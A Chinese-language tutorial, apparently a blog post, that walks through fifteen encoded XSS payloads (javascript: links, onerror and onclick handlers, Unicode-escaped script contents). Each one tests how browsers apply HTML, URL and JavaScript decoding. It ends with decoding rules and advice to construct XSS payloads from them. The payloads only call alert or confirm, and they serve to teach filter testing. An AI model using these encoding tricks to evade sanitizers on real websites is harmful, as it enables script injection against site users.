目录
第一种:采用的是urlcode编码
第二种:前面用html实体编码,后面用urlcode编码
第三种:只对:使用urlcode编码
第四种:对<>进行html实体编码
第五种:textarea
第六种:和第五种一样
第七种:对'进行html实体编码
第八种:对'进行Unicode编码
第九种:对alert(9)进行html实体编码
第十种:对alert进行Unicode编码
第十一种:对alert(11)进行Unicode编码
第十二种:对alert和12进行Unicode编码
第十三种:对'进行Unicode编码
第十四种:在以下位置Unicode编码一个换行符\n
第十五种:先进行Unicode编码,再进行urlcode编码,最后进行html实体编码
总结:
第一种:采用的是urlcode编码
这里编码的就是javascript:alert(1)
<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">aaa</a>
可以发现并没有执行。因为在href里面不认识urlcode编码后的协议
第二种:前面用html实体编码,后面用urlcode编码
<a href="javascript:%61%6c%65%72%74%28%32%29">
由于先进行html实体编码后变成:
<a href="javascript:%61%6c%65%72%74%28%32%29">
再进行url解码就可以识别javascript协议
第三种:只对:使用urlcode编码
<a href="javascript%3aalert(3)"></a>
同1,:冒号算协议一部分。
第四种:对<>进行html实体编码
<div><img src=x onerror=alert(4)></div>
当进入数据状态中的字符引用时,确实可以将编码字符进行解码,但不会进入标签开始状态。所以html把它当成一个字符串,可以展示,但无法执行。
第五种:textarea
<textarea><script>alert(5)</script></textarea>
因为<textarea>
是RCDATA
元素(RCDATA elements),可以容纳文本和字符引用,注意不能容纳其他元素 。
第六种:和第五种一样
<textarea><script>alert(6)</script></textarea>
第七种:对'进行html实体编码
<button onclick="confirm('7');">Button</button>
这里的inclick与a标签的href差不多,可以被html解码。所以执行成功了
第八种:对'进行Unicode编码
<button onclick="confirm('8\u0027);">Button</button>
执行失败,因为onclick
中的值会交给JS处理,在JS中只有字符串和标识符能用Unicode表示,'显然不行
第九种:对alert(9)进行html实体编码
<script>alert(9);</script>
由于script
属于原始文本元素(Raw text elements),只可以容纳文本,注意没有字符引用,于是直接由JS处理,JS也认不出来,所以执行失败。
原始文本元素(Raw text elements)有<script>
和<style>。
第十种:对alert进行Unicode编码
<script>\u0061\u006c\u0065\u0072\u0074(10);</script>
因为只有标识符,所以JS可以识别执行。
第十一种:对alert(11)进行Unicode编码
<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>
因为JS中只有字符串和标识符能用Unicode表示,所以执行失败。
第十二种:对alert和12进行Unicode编码
<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>
执行失败,虽然这里可以被解码,但是12被解码出来是字符串,需要引号包含。
第十三种:对'进行Unicode编码
<script>alert('13\u0027)</script>
肯定执行失败,同8
第十四种:在以下位置Unicode编码一个换行符\n
<script>alert('14\u000a')</script>
执行成功。
第十五种:先进行Unicode编码,再进行urlcode编码,最后进行html实体编码
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)"></a>
符合web的解码顺序,所以可以被执行。
总结:
-
<script>
和<style>
数据只能有文本,不会有HTML解码和URL解码操作 -
<textarea>
和<title>
里会有HTML解码操作,但不会有子元素 -
其他元素数据(如
div
)和元素属性数据(如href
)中会有HTML解码操作 -
部分属性(如
href
)会有URL解码操作,但URL中的协议需为ASCII -
JavaScript会对字符串和标识符Unicode解码
根据浏览器的自动解码,反向构造 XSS Payload 即可